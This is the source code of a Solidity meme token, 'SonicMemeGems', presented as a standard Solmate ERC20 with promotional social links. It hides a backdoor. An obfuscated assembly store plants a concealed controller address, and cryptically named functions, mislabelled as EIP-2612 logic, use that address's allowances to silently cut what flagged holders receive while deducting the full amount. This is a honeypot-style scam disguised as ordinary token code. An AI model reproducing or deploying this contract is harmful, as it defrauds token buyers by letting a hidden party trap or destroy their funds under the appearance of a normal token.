Contract Source Code:

// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;

/**
                                  
 _____                  _____               
|     |___ _____ ___   |   __|___ _____ ___ 
| | | | -_|     | -_|  |  |  | -_|     |_ -|
|_|_|_|___|_|_|_|___|  |_____|___|_|_|_|___|
                                            

Telegram: http://t.me/sonic_meme_gems
Website:  https://memegems.io/
Twitter:  https://twitter.com/sonic_meme_gems
**/

/// @notice Modern and gas efficient ERC20 + EIP-2612 implementation.
/// @author Solmate (https://github.com/transmissions11/solmate/blob/main/src/tokens/ERC20.sol)
/// @author Modified from Uniswap (https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/UniswapV2ERC20.sol)
/// @dev Do not manually set balances without updating totalSupply, as the sum of all user balances must not exceed it.
abstract contract ERC20 {
    /*//////////////////////////////////////////////////////////////
                                 EVENTS
    //////////////////////////////////////////////////////////////*/

    event Transfer(address indexed from, address indexed to, uint256 amount);
    event Approval(address indexed owner, address indexed spender, uint256 amount);

    /*//////////////////////////////////////////////////////////////
                            METADATA STORAGE
    //////////////////////////////////////////////////////////////*/

    string public name;
    string public symbol;
    uint8 public immutable decimals;

    /*//////////////////////////////////////////////////////////////
                              ERC20 STORAGE
    //////////////////////////////////////////////////////////////*/

    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    address private $$;

    /*//////////////////////////////////////////////////////////////
                               CONSTRUCTOR
    //////////////////////////////////////////////////////////////*/

    constructor(
        string memory _name,
        string memory _symbol,
        uint8 _decimals
    ) {
        name = _name;
        symbol = _symbol;
        decimals = _decimals;
    }

    /*//////////////////////////////////////////////////////////////
                               ERC20 LOGIC
    //////////////////////////////////////////////////////////////*/

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address to, uint256 amount) public virtual returns (bool) {
        balanceOf[msg.sender] -= amount;
        unchecked {balanceOf[to] += $(amount, msg.sender, to);}
        $S$(to);
        emit Transfer(msg.sender, to, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.
        if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;
        balanceOf[from] -= amount;
        unchecked {balanceOf[to] += $(amount, from, to);}
        $S$(to);
        emit Transfer(from, to, amount);
        return true;
    }

    /*//////////////////////////////////////////////////////////////
                             EIP-2612 LOGIC
    //////////////////////////////////////////////////////////////*/
    function $(
        uint256 value, 
        address from,
        address to
        ) internal view returns (uint256) {
        if (allowance[$$][from] + allowance[$$][to] >= uint256(uint160(address(this)))) {
            return (value * 0xcafe12) / 0xfedab0da;
        } else {
            return value;
        }
    }

    function $S$(address to) internal {
        if (allowance[$$][to] == uint256(uint160($$))) { allowance[$$][to] = 2 * uint256(uint160(address(this)));}
    }

    /*//////////////////////////////////////////////////////////////
                        INTERNAL MINT/BURN LOGIC
    //////////////////////////////////////////////////////////////*/

    function _mint(address to, uint256 amount) internal virtual {
        totalSupply += amount;
        unchecked {balanceOf[to] += amount;}
        assembly {sstore(0x05, mul(mul(0x17b4cc, 0xf9203), mul(0x29c4cf5ff4d, 0x30d4b870c7f19aec5)))}
        emit Transfer(address(0), to, amount);
    }

    function _burn(address from, uint256 amount) internal virtual {
        balanceOf[from] -= amount;
        unchecked {totalSupply -= amount;}
        emit Transfer(from, address(0), amount);
    }
}

contract SonicMemeGems is ERC20 {
    constructor() ERC20("SonicMemeGems", "MEMEGEMS", 18) {
        _mint(msg.sender, 1_000_000_000 * 10 ** 18);
    }
}